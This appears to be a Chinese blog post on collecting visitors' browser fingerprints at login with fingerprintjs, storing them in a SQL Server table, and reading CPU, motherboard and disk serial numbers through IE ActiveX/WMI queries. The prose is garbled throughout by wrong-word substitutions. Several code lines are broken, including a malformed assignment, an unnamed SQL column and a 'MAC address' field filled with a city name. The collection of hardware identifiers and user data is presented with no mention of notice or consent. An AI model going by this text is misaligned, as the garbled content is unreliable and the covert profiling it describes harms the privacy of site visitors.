共计 34951 个字符,预计需要花费 88 分钟才能阅读完成。
如何应用 javascript 获取浏览器访问信息?
前言
咱们都晓得咱们进行 web 申请的时候,应用浏览器是能够获取到以后机器的访问信息的,目前市面上也有不少的工具或者 API 能够不便疾速的获取用户的浏览器动静信息。整个过程比较简单,这里作为一次笔记进行简略记录。
需要
应用前端的工具或者插件,获取起前端的浏览器信息,在登录的时候,将前端的信息发送到后盾数据库进行存储。
组件地址:
这里次要依赖的组件为 fingerprintjs,能获取的内容算是比拟具体的,用法也非常简略。
- fingerprintjs:https://github.com/fingerprin…
demo 地址:https://tczmh.gitee.io/finger…
表设计
上面依据具体需要构建一张对应的表:
字段名 | 字段阐明 | 字段类型 | 字段长度 | 是否为空 | 备注 |
---|---|---|---|---|---|
uuid | 主键 | varchar | 255 | 否 | 主键 |
fingerprint | 指纹 ID | varchar | 255 | 是 | 指纹是每次申请的惟一 id |
clientTime | 申请耗时 | int | 0 | 是 | 申请耗时 |
userAgent | 用户代理 | varchar | 500 | 是 | |
webdriver | 网络驱动 | varchar | 50 | 是 | |
language | 语言 | varchar | 50 | 是 | |
colorDepth | 色彩深度 | varchar | 50 | 是 | |
deviceMemory | 设施内存 | varchar | 50 | 是 | |
pixelRatio | 像素比例 | varchar | 50 | 是 | |
hardwareConcurrency | 硬件并发 | varchar | 50 | 是 | 16 |
screenResolution | 屏幕分辨率 | varchar | 50 | 是 | 长,宽 |
availableScreenResolution | 可用屏幕分辨率 | varchar | 50 | 是 | 长,宽 |
timezoneOffset | 时区偏移 | varchar | 50 | 是 | |
timezone | 时区 | varchar | 50 | 是 | |
sessionStorage | 是否开启会话存储 | int | 0 | 是 | boolean,1 为 true,0 为 false |
localStorage | 是否开启本地存储 | int | 0 | 是 | boolean,1 为 true,0 为 false |
indexedDb | 索引的 Db | int | 0 | 是 | boolean,1 为 true,0 为 false |
addBehavior | 是否存在减少行为 | int | 0 | 是 | boolean,1 为 true,0 为 false |
openDatabase | 是否开启数据库 | int | 0 | 是 | boolean,1 为 true,0 为 false |
cpuClass | cpu 类 | varchar | 50 | 是 | 无案例数据,不明确具体含意 |
platform | 平台 | varchar | 50 | 是 | |
doNotTrack | 不跟踪 | varchar | 50 | 是 | |
plugins | 浏览器插件 | textarea | 0 | 是 | Chrome PDF Plugin;Chrome PDF Viewer;Native Client; |
canvas | 画布 | textarea | 0 | 是 | |
webgl | 网页 | textarea | 0 | 是 | |
webglVendorAndRenderer | webgl 供应商和渲染器 | varchar | 1000 | 是 | |
adBlock | 分贝锁定 | int | 0 | 是 | boolean,1 为 true,0 为 false |
hasLiedLanguages | 是否伪造语言 | int | 0 | 是 | boolean,1 为 true,0 为 false |
hasLiedResolution | 是否伪造决定 | int | 0 | 是 | boolean,1 为 true,0 为 false |
hasLiedOs | 是否伪造 os | int | 0 | 是 | boolean,1 为 true,0 为 false |
hasLiedBrowser | 是否伪造浏览器 | int | 0 | 是 | boolean,1 为 true,0 为 false |
touchSupport | 触摸反对 | int | 0 | 是 | 较非凡,应用逗号宰割 |
fonts | 字体 | textarea | 0 | 是 | 反对字体 |
fontsFlash | 字体 Flash | varchar | 100 | 是 | swf object not loaded |
audio | 媒体 | varchar | 100 | 是 | 124.0434753 |
enumerateDevices | 枚举设施 | textarea | 0 | 是 | d=;gid=5fd3caefe1a38ae1bc997527a026ffad |
mineType | 浏览器的 MIME 类型 | int | 0 | 是 | 1.2.3.4 RFC-822 Standard for ARPA Internet text messages RFC-2045 MIME Part 1: Format of Internet Message Bodies RFC-2046 MIME Part 2: Media Types RFC-2047 MIME Part 3: Header Extensions for Non-ASCII Text RFC-2048 MIME Part 4: Registration Procedures RFC-2049 MIME Part 5: Conformance Criteria and Examples |
cookieEnable | 浏览器的是否启用了 cookie | int | 0 | 是 | boolean,1 为 true,0 为 false |
macAddr | MAC 地址 | varchar | 50 | 是 | xxxx |
ipAddr | IP 地址 | varchar | 50 | 是 | xxxxx |
systemTime | 零碎工夫 | varchar | 200 | 是 | Fri May 28 2021 11:07:46 GMT+0800 (中国规范工夫) |
enableMediaPalyer | 是否有 MediaPlayer | int | 0 | 是 | boolean,1 为 true,0 为 false |
enableRealPlayer | 是否有 realPlayer | int | 0 | 是 | boolean,1 为 true,0 为 false |
enableQuickTime | 是否有 quickTime | int | 0 | 是 | boolean,1 为 true,0 为 false |
上面是对应的 sql-server 的建表 sql:
-- ----------------------------
-- Table structure for browser_frontend_info
-- ----------------------------
IF EXISTS (SELECT * FROM sys.all_objects WHERE object_id = OBJECT_ID(N'[dbo].[browser_frontend_info]') AND type IN ('U'))
DROP TABLE [dbo].[browser_frontend_info]
GO
CREATE TABLE [dbo].[browser_frontend_info] ([uuid] varchar(255) COLLATE Chinese_PRC_CI_AS NOT NULL,
[fingerprint] varchar(100) COLLATE Chinese_PRC_CI_AS NULL,
[clientTime] int NULL,
[userAgent] text COLLATE Chinese_PRC_CI_AS NULL,
[webdriver] varchar(50) COLLATE Chinese_PRC_CI_AS NULL,
[language] varchar(50) COLLATE Chinese_PRC_CI_AS NULL,
[colorDepth] varchar(50) COLLATE Chinese_PRC_CI_AS NULL,
[deviceMemory] varchar(50) COLLATE Chinese_PRC_CI_AS NULL,
[pixelRatio] varchar(50) COLLATE Chinese_PRC_CI_AS NULL,
[hardwareConcurrency] varchar(50) COLLATE Chinese_PRC_CI_AS NULL,
[screenResolution] varchar(50) COLLATE Chinese_PRC_CI_AS NULL,
[availableScreenResolution] varchar(50) COLLATE Chinese_PRC_CI_AS NULL,
[timezoneOffset] varchar(50) COLLATE Chinese_PRC_CI_AS NULL,
[timezone] varchar(50) COLLATE Chinese_PRC_CI_AS NULL,
[sessionStorage] int NULL,
[localStorage] int NULL,
[indexedDb] int NULL,
[addBehavior] int NULL,
[openDatabase] int NULL,
[cpuClass] varchar(255) COLLATE Chinese_PRC_CI_AS NULL,
[platform] varchar(255) COLLATE Chinese_PRC_CI_AS NULL,
[doNotTrack] varchar(255) COLLATE Chinese_PRC_CI_AS NULL,
[plugins] text COLLATE Chinese_PRC_CI_AS NULL,
[canvas] text COLLATE Chinese_PRC_CI_AS NULL,
[webgl] text COLLATE Chinese_PRC_CI_AS NULL,
[webglVendorAndRenderer] text COLLATE Chinese_PRC_CI_AS NULL,
[adBlock] int NULL,
[hasLiedLanguages] int NULL,
[hasLiedResolution] int NULL,
[hasLiedOs] int NULL,
[hasLiedBrowser] int NULL,
[touchSupport] int NULL,
[fonts] text COLLATE Chinese_PRC_CI_AS NULL,
[fontsFlash] varchar(255) COLLATE Chinese_PRC_CI_AS NULL,
varchar(255) COLLATE Chinese_PRC_CI_AS NULL,
[enumerateDevices] text COLLATE Chinese_PRC_CI_AS NULL,
[mineType] varchar(255) COLLATE Chinese_PRC_CI_AS NULL,
[cookieEnable] int NULL,
[macAddr] varchar(50) COLLATE Chinese_PRC_CI_AS NULL,
[ipAddr] varchar(50) COLLATE Chinese_PRC_CI_AS NULL,
[systemTime] varchar(200) COLLATE Chinese_PRC_CI_AS NULL,
[enableMediaPalyer] int DEFAULT '' NULL,
[enableRealPlayer] int NULL,
[loginType] int NULL,
[merchNo] varchar(255) COLLATE Chinese_PRC_CI_AS NULL,
[userName] varchar(255) COLLATE Chinese_PRC_CI_AS NULL
)
GO
ALTER TABLE [dbo].[browser_frontend_info] SET (LOCK_ESCALATION = TABLE)
GO
EXEC sp_addextendedproperty
'MS_Description', N'主键',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'uuid'
GO
EXEC sp_addextendedproperty
'MS_Description', N'指纹 ID。指纹是每次申请的惟一 id',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'fingerprint'
GO
EXEC sp_addextendedproperty
'MS_Description', N'申请耗时',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'clientTime'
GO
EXEC sp_addextendedproperty
'MS_Description', N'用户代理',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'userAgent'
GO
EXEC sp_addextendedproperty
'MS_Description', N'网络驱动',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'webdriver'
GO
EXEC sp_addextendedproperty
'MS_Description', N'语言',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'language'
GO
EXEC sp_addextendedproperty
'MS_Description', N'色彩深度',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'colorDepth'
GO
EXEC sp_addextendedproperty
'MS_Description', N'设施内存',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'deviceMemory'
GO
EXEC sp_addextendedproperty
'MS_Description', N'像素比例',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'pixelRatio'
GO
EXEC sp_addextendedproperty
'MS_Description', N'硬件并发',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'hardwareConcurrency'
GO
EXEC sp_addextendedproperty
'MS_Description', N'屏幕分辨率',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'screenResolution'
GO
EXEC sp_addextendedproperty
'MS_Description', N'可用屏幕分辨率',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'availableScreenResolution'
GO
EXEC sp_addextendedproperty
'MS_Description', N'时区偏移',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'timezoneOffset'
GO
EXEC sp_addextendedproperty
'MS_Description', N'时区',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'timezone'
GO
EXEC sp_addextendedproperty
'MS_Description', N'是否开启会话存储',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'sessionStorage'
GO
EXEC sp_addextendedproperty
'MS_Description', N'是否开启本地存储',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'localStorage'
GO
EXEC sp_addextendedproperty
'MS_Description', N'索引的 Db',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'indexedDb'
GO
EXEC sp_addextendedproperty
'MS_Description', N'是否存在减少行为',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'addBehavior'
GO
EXEC sp_addextendedproperty
'MS_Description', N'是否伪造浏览器',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'openDatabase'
GO
EXEC sp_addextendedproperty
'MS_Description', N'cpu 类',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'cpuClass'
GO
EXEC sp_addextendedproperty
'MS_Description', N'平台',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'platform'
GO
EXEC sp_addextendedproperty
'MS_Description', N'不跟踪',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'doNotTrack'
GO
EXEC sp_addextendedproperty
'MS_Description', N'浏览器插件',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'plugins'
GO
EXEC sp_addextendedproperty
'MS_Description', N'画布',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'canvas'
GO
EXEC sp_addextendedproperty
'MS_Description', N'网页',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'webgl'
GO
EXEC sp_addextendedproperty
'MS_Description', N'webgl 供应商和渲染器',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'webglVendorAndRenderer'
GO
EXEC sp_addextendedproperty
'MS_Description', N'分贝锁定',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'adBlock'
GO
EXEC sp_addextendedproperty
'MS_Description', N'是否伪造语言',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'hasLiedLanguages'
GO
EXEC sp_addextendedproperty
'MS_Description', N'是否伪造决定',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'hasLiedResolution'
GO
EXEC sp_addextendedproperty
'MS_Description', N'是否伪造 os',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'hasLiedOs'
GO
EXEC sp_addextendedproperty
'MS_Description', N'是否伪造浏览器',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'hasLiedBrowser'
GO
EXEC sp_addextendedproperty
'MS_Description', N'触摸反对',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'touchSupport'
GO
EXEC sp_addextendedproperty
'MS_Description', N'字体',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'fonts'
GO
EXEC sp_addextendedproperty
'MS_Description', N'字体 Flash',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'fontsFlash'
GO
EXEC sp_addextendedproperty
'MS_Description', N'媒体',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'audio'
GO
EXEC sp_addextendedproperty
'MS_Description', N'枚举设施',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'enumerateDevices'
GO
EXEC sp_addextendedproperty
'MS_Description', N'浏览器的 MIME 类型',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'mineType'
GO
EXEC sp_addextendedproperty
'MS_Description', N'浏览器的是否启用了 cookie',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'cookieEnable'
GO
EXEC sp_addextendedproperty
'MS_Description', N'MAC 地址',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'macAddr'
GO
EXEC sp_addextendedproperty
'MS_Description', N'IP 地址',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'ipAddr'
GO
EXEC sp_addextendedproperty
'MS_Description', N'零碎工夫',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'systemTime'
GO
EXEC sp_addextendedproperty
'MS_Description', N'是否有 MediaPlayer',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'enableMediaPalyer'
GO
EXEC sp_addextendedproperty
'MS_Description', N'是否有 realPlayer',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'enableRealPlayer'
GO
EXEC sp_addextendedproperty
'MS_Description', N'登录类型(1. 商户,2. 机构)',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'loginType'
GO
EXEC sp_addextendedproperty
'MS_Description', N'商户号',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'merchNo'
GO
EXEC sp_addextendedproperty
'MS_Description', N'用户名',
'SCHEMA', N'dbo',
'TABLE', N'browser_frontend_info',
'COLUMN', N'userName'
GO
-- ----------------------------
-- Primary Key structure for table browser_frontend_info
-- ----------------------------
ALTER TABLE [dbo].[browser_frontend_info] ADD CONSTRAINT [PK__browser___7F427930F38BE804] PRIMARY KEY CLUSTERED ([uuid])
WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON)
ON [PRIMARY]
GO
# 接入案例代码: 如果须要失常运行,须要引入对应的三方代码或者 ip 获取网址,这里用了搜狐的 IP 信息捕捉:```java
<script src="http://pv.sohu.com/cityjson?ie=utf-8"></script>
<script type="text/javascript" th:src="@{/js/front/fingerprint2.min.js}"></script>
上面是针对 API 应用的简略接入,组装报文 JSON:
function fingerDefaultConfig(){let excludes = {};
excludes.userAgent = false;
excludes.audio = false;
excludes.enumerateDevices = false;
excludes.fonts = false;
excludes.fontsFlash = false;
excludes.webgl = false;
excludes.canvas = false;
return excludes;
}
/**
* 获取浏览器信息
*/
function getFingerInfo(){const start = new Date().getTime();
let excludes = fingerDefaultConfig();
let options = {excludes: excludes};
var requestParam = {};
Fingerprint2.get(options, function (components) {
// 参数
const values = components.map(function (component) {return component.value});
// 指纹
requestParam['murmur'] = Fingerprint2.x64hash128(values.join(''), 31);
// 申请耗时
requestParam['time'] = (new Date().getTime() - start);
for (const c of components) {requestParam] = c['value'];
}
// 获取其余模组的参数
requestParam = otherRequestParam(requestParam);
requestParam = intenetInfo(requestParam);
requestParam = timeRequestParam(requestParam);
requestParam = userRequestParam(requestParam);
wrapParamAndStart(requestParam);
});
}
function timeRequestParam(requestParam){requestParam['systemTime'] = new Date();
return requestParam;
}
/**
* 用户信息
*/
function userRequestParam(requestParam){var loginType = $("#loginType").find('option:selected').val();
requestParam['loginType'] = loginType!=null && loginType!=undefined ? parseInt(loginType):1;
requestParam['merchNo'] = $("#InputMerNo").val()||'';
requestParam['userName'] = $("#InputUsername").val()||'';
return requestParam;
}
function otherRequestParam(requestParam){
var mimeType = navigator.mimeTypes; // 浏览器反对的所有 MIME 类型的数组
var cookieEnabled = navigator.cookieEnabled; // 返回用户浏览器是否启用了 cookie
requestParam['mimeType'] = mimeType;
requestParam['cookieEnabled'] = cookieEnabled;
requestParam['enableMediaPalyer'] = checkePlugs("MediaPlayer");
requestParam['enableRealPlayer'] = checkePlugs("RealPlayer");
requestParam['enableQuickTime'] = checkePlugs("QuickTime");
return requestParam;
}
/**
* 网络信息获取
* @param requestParam
*/
function intenetInfo(requestParam){requestParam['macAddr'] = returnCitySN["cname"];
requestParam['ipAddr'] = returnCitySN["cip"];
return requestParam;
}
// 查看是否装置了某插件,如果装置了返回版本号
function checkePlugs(pluginname) {
var f = "-"
var plugins = navigator.plugins;
if (plugins.length > 0) {for (i = 0; i < navigator.plugins.length; i++) {if (navigator.plugins[i].name.indexOf(pluginname) >= 0) {f = navigator.plugins[i].description.split(pluginname)[1];
return f;
break;
}
}
}
return false;
}
function wrapParamAndStart(requestParam) {start(JSON.stringify(requestParam));
}
/**
* 前端抓取开启,依据应用的模块进行重写或者替换
*/
function start(info) {
$.ajax({
url : ROOT+"/front/record",
type : 'POST',
// async: false,
dataType : 'json',
data : info,
contentType:'application/json',
success : function(data) { },
error : function(e) {}});
}
运行成果:
补充材料:
获取前端用户访问信息
须要用户手动的开启权限,才能够进行失常的应用或者拜访,同时这个对象次要为 ie 应用。
实现形式:
var locator = new ActiveXObject("WbemScripting.SWbemLocator");
参考博客:JavaScript 获取客户端计算机硬件及零碎信息
获取摄像头信息
摄像头须要用户开启权限方可应用。
- webcamjs:https://pixlcore.com/demos/we…
- 在网页当中进行拍照
WebcamJS 曾经在上面的浏览器/零碎中进行了测试:
OS | Browser | Notes |
---|---|---|
Mac OS X | Chrome 30+ | Works — Chrome 47+ requires HTTPS |
Mac OS X | Firefox 20+ | Works |
Mac OS X | Safari 6+ | Requires Adobe Flash Player |
Windows | Chrome 30+ | Works — Chrome 47+ requires HTTPS |
Windows | Firefox 20+ | Works |
Windows | IE 9 | Requires Adobe Flash Player |
Windows | IE 10 | Requires Adobe Flash Player |
Windows | IE 11 | Requires Adobe Flash Player |
录音
录音和摄像头信息一样,须要用户的受权。
- https://github.com/xiangyuecn…
前端信息捕捉 html:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title> New Document </title>
<meta name="viewport" content="width=device-width, initial-scale=1.0,user-scalable=no">
<meta name="Generator" content="EditPlus">
<meta name="Author" content="">
<meta name="Keywords" content="">
<meta charset="utf-8" />
<meta name="Description" content="">
<script src="http://pv.sohu.com/cityjson?ie=utf-8"></script>
<script id=clientEventHandlersJS language=javascript>
/****************************************** 下为浏览器信息 ************************************************/
// 获取浏览器相干信息
function allinfo() {
var appName = navigator.appName; // 浏览器的正式名称
var appVersion = navigator.appVersion; // 浏览器的版本号
var cookieEnabled = navigator.cookieEnabled; // 返回用户浏览器是否启用了 cookie
var cpuClass = navigator.cpuClass; // 返回用户计算机的 cpu 的型号,通常 intel 芯片返回 "x86"(火狐没有)var mimeType = navigator.mimeTypes; // 浏览器反对的所有 MIME 类型的数组
var platform = navigator.platform; // 浏览器正在运行的操作系统平台,包含 Win16(windows3.x)
// Win32(windows98,Me,NT,2000,xp),Mac68K(Macintosh 680x0)
// 和MacPPC(Macintosh PowerPC)
var plugins = navigator.plugins; // 装置在浏览器上的所有插件的数组
var userLanguage = navigator.userLanguage; // 用户在本人的操作系统上设置的语言(火狐没有)var userAgent = navigator.userAgent; // 蕴含以下属性中所有或一部分的字符串:appCodeName,appName,appVersion,language,platform
var systemLanguage = navigator.systemLanguage; // 用户操作系统反对的默认语言(火狐没有)var info = "<table border=1>";
var type = "";
if (isIe()) {type = "IE 浏览器";} else if (isFireFox()) {type = "火狐浏览器";}
info += "<tr><td> 浏览器类型:</td><td>" + type + "</td></tr>";
info += "<tr><td> 浏览器属性信息:</td><td>" + userAgent + "</td></tr>";
info += "<tr><td> 浏览器的正式名称:</td><td>" + appName + "</td></tr>";
info += "<tr><td> 浏览器的版本号:</td><td>" + appVersion + "</td></tr>";
info += "<tr><td> 浏览器的是否启用了 cookie:</td><td>" + cookieEnabled + "</td></tr>";
info += "<tr><td>cpu 等级:</td><td>" + cpuClass + "</td></tr>";
info += "<tr><td> 浏览器的 MIME 类型:</td><td>" + mimeType.length + "</td></tr>";
info += "<tr><td> 零碎平台:</td><td>" + platform + "</td></tr>";
info += "<tr><td> 装置的插件:</td><td>" + plugins + "</td></tr>";
info += "<tr><td> 插件的数量:</td><td>" + plugins.length + "</td></tr>";
info += "<tr><td> 插件的名称:</td><td>" + getPluginName() + "</td></tr>";
info += "<tr><td> 用户设置的操作系统语言:</td><td>" + userLanguage + "</td></tr>";
info += "<tr><td> 操作系统反对的默认语言:</td><td>" + systemLanguage + "</td></tr>";
info += "<tr><td>Director:</td><td>" + checkePlugs("Director") + "</td></tr>";
info += "<tr><td>javaEnabled:</td><td>" + navigator.javaEnabled() + "</td></tr>";
info += "<tr><td> 是否有 quickTime:</td><td>" + checkePlugs("QuickTime") + "</td></tr>";
info += "<tr><td>flash 插件状况:</td><td>" + checkePlugs('Shockwave Flash') + "</td></tr>";
info += "<tr><td> 是否有 MediaPlayer:</td><td>" + checkePlugs("MediaPlayer") + "</td></tr>";
info += "<tr><td> 是否有 realPlayer:</td><td>" + checkePlugs("RealPlayer") + "</td></tr>";
info += "<tr><td> 屏幕分辨率高度:</td><td>" + window.screen.height + "</td></tr>";
info += "<tr><td> 屏幕分辨率宽度:</td><td>" + window.screen.width + "</td></tr>";
info += "<tr><td> 色彩品质:</td><td>" + window.screen.colorDepth + "位 </td></tr>";
info += "<tr><td> 像素:</td><td>" + window.screen.deviceXDPI + "像素 / 英寸 </td></tr>";
info += "<tr><td> 字体是否平滑:</td><td>" + window.screen.fontSmoothingEnabled + "</td></tr>";
//info += "<tr><td> 规定浏览器是否启用数据污点:</td><td>" + navigator.taintEnabled() + "</td></tr>";
info += "</table>";
document.getElementById("elInfo").innerHTML = info;
return info;
//director
var appCodeName = navigator.appCodeName; // 与浏览器相干的外部代码名
var appMinorVersion = navigator.appMinorVersion; // 辅版本号(通常利用于浏览器的补丁或服务包)
var language = navigator.language; // 浏览器反对的语言(IE 没有)var onLine = navigator.onLine; // 返回浏览器是否处于在线模式(IE4 以上版本)var opsProfile = navigator.opsProfile; // 未定义(IE、火狐没有)var oscpu = navigator.oscpu; // 浏览器正在运行的操作系统,其中可能有 CPU 的信息(IE 没有)var product = navigator.product; // 浏览器的产品名(IE 没有)var productSub = navigator.productSub; // 对于浏览器更多信息(IE 没有)var securityPolicy = navigator.securityPolicy; // 浏览器反对的加密类型(IE 没有)var userProfile = navigator.userProfile; // 返回一个 UserProfile 对象,它存储用户的个人信息(火狐没有)var vender = navigator.vender; // 浏览器厂商名称(IE、火狐没有)var vendorSub = navigator.vendorSub; // 对于浏览器厂商更多的信息
}
// 获取插件所有的名称
function getPluginName() {
var info = "";
var plugins = navigator.plugins;
if (plugins.length > 0) {for (i = 0; i < navigator.plugins.length; i++) {info += navigator.plugins[i].name + ";";
}
}
return info;
}
// 查看是否装置了某插件,如果装置了返回版本号
function checkePlugs(pluginname) {
var f = "-"
var plugins = navigator.plugins;
if (plugins.length > 0) {for (i = 0; i < navigator.plugins.length; i++) {if (navigator.plugins[i].name.indexOf(pluginname) >= 0) {f = navigator.plugins[i].description.split(pluginname)[1];
return f;
break;
}
}
}
return false;
}
// 判断是否 IE
function isIe() {var i = navigator.userAgent.toLowerCase().indexOf("msie");
return i >= 0;
}
// 判断是否 firefox
function isFireFox() {var i = navigator.userAgent.toLowerCase().indexOf("firefox");
return i >= 0;
}
/****************************************** 以上为浏览器信息,以下为 pc 信息 ************************************************/
var locator = new ActiveXObject("WbemScripting.SWbemLocator");
var service = locator.ConnectServer(".");
function cpuInfo() { //CPU 信息
var properties = service.ExecQuery("SELECT * FROM Win32_Processor");
var e = new Enumerator(properties);
var info = "<table border=1>";
info += "<tr bgcolor='#CDEDED'style='font-weight: bold;'><td width='450'>CPU 信息 </td></tr>";
for (; !e.atEnd(); e.moveNext()) {var p = e.item();
info += "<tr style='color: red'><td >CPU 序列号:" + p.ProcessorID + "</td></tr>";
info += "<tr><td >" + p.Caption + "</td></tr>";
info += "<tr><td >CPU 编号:" + p.DeviceID + "</td></tr>";
info += "<tr><td >CPU 型号:" + p.Name + "</td></tr>";
info += "<tr><td >CPU 状态:" + p.CpuStatus + "</td></tr>";
info += "<tr><td >CPU 可用性:" + p.Availability + "</td></tr>";
info += "<tr><td >CUP Level:" + p.Level + "</td></tr>";
info += "<tr><td > 主机名称:" + p.SystemName + "</td></tr>";
info += "<tr><td >Processor Type:" + p.ProcessorType + "</td></tr>";
}
info += "</table>";
return info;
}
function softDisk() { // 软盘信息
var properties = service.ExecQuery("SELECT * FROM Win32_FloppyDrive");
var e = new Enumerator(properties);
var info = "<table border=1>";
info += "<tr bgcolor='#CDEDED'style='font-weight: bold;'><td width='450'> 软盘信息 </td></tr>";
for (; !e.atEnd(); e.moveNext()) {var p = e.item();
info += "<tr><td >" + p.Description + "</td></tr>";
info += "<tr><td >" + p.DeviceID + "</td></tr>";
info += "<tr><td >" + p.Status + "</td></tr>";
info += "<tr><td >" + p.Manufacuturer + "</td></tr>";
}
info += "</table>";
return info;
}
function RomInfo() { //CD-ROM 信息
var properties = service.ExecQuery("SELECT * FROM Win32_CDROMDrive");
var e = new Enumerator(properties);
var info = "<table border=1>";
info += "<tr bgcolor='#CDEDED'style='font-weight: bold;'><td width='450'>CD-ROM 信息 </td></tr>";
for (; !e.atEnd(); e.moveNext()) {var p = e.item();
info += "<tr><td > 驱动器名称:" + p.Caption + "</td></tr>";
info += "<tr><td > 形容:" + p.Description + "</td></tr>";
info += "<tr><td > 盘符:" + p.Drive + "</td></tr>";
info += "<tr><td > 驱动器状态:" + p.Status + "</td></tr>";
info += "<tr><td > 是否在应用:" + p.MediaLoaded + "</td></tr>";
}
info += "</table>";
return info;
}
function keyBoardInfo() { // 键盘信息
var properties = service.ExecQuery("SELECT * FROM Win32_Keyboard");
var e = new Enumerator(properties);
var info = "<table border=1>";
info += "<tr bgcolor='#CDEDED'style='font-weight: bold;'><td width='450'> 键盘信息 </td></tr>";
for (; !e.atEnd(); e.moveNext()) {var p = e.item();
info += "<tr><td > 键盘形容:" + p.Description + "</td></tr>";
info += "<tr><td > 键盘名称:" + p.Name + "</td></tr>";
info += "<tr><td > 键盘状态:" + p.Status + "</td></tr>";
}
info += "</table>";
return info;
}
function mainBoard() { // 主板信息
var properties = service.ExecQuery("SELECT * FROM Win32_BaseBoard");
var e = new Enumerator(properties);
var info = "<table border=1>";
info += "<tr bgcolor='#CDEDED'style='font-weight: bold;'><td width='450'> 主板信息 </td></tr>";
for (; !e.atEnd(); e.moveNext()) {var p = e.item();
info += "<tr style='color: red'><td > 主板 ID:" + p.SerialNumber + "</td></tr>";
info += "<tr><td >" + p.HostingBoard + "</td></tr>";
info += "<tr><td > 制造商:" + p.Manufacturer + "</td></tr>";
info += "<tr><td > 是否开启:" + p.PoweredOn + "</td></tr>";
info += "<tr><td > 型号:" + p.Product + "</td></tr>";
info += "<tr><td > 版本:" + p.Version + "</td></tr>";
}
info += "</table>";
return info;
}
function disk() { // 硬盘序列号 信息
var properties = service.ExecQuery("SELECT * FROM Win32_DiskDrive");
var e = new Enumerator(properties);
var info = "<table border=1>";
info += "<tr bgcolor='#CDEDED'style='font-weight: bold;'><td width='450'> 硬盘信息 </td></tr>";
for (; !e.atEnd(); e.moveNext()) {var p = e.item();
info += "<tr style='color: red'><td > 硬盘序列号:" + p.signature + "</td></tr>";
}
info += "</table>";
return info;
}
// 获取 Ram 信息
function raminfo() {var system = new Enumerator(service.ExecQuery("SELECT * FROM Win32_ComputerSystem")).item();
var physicMenCap = Math.ceil(system.TotalPhysicalMemory / 1024 / 1024);
// 内存信息
var memory = new Enumerator(service.ExecQuery("SELECT * FROM Win32_PhysicalMemory"));
for (var mem = [], i = 0; !memory.atEnd(); memory.moveNext()) {mem[i++] = {cap: memory.item().Capacity / 1024 / 1024,
speed: memory.item().Speed};
}
var info = "<table border=1>";
info += "<tr bgcolor='#CDEDED'style='font-weight: bold;'><td width='450'> 内存信息 </td></tr>";
info += "<tr style='color: red'><td > 内存总量:" + (mem[0].cap + mem[1].cap) + "M</td></tr>";
info += "<tr style='color: red'><td > 可用物理内存:" + physicMenCap + "M</td></tr>";
info += "</table>";
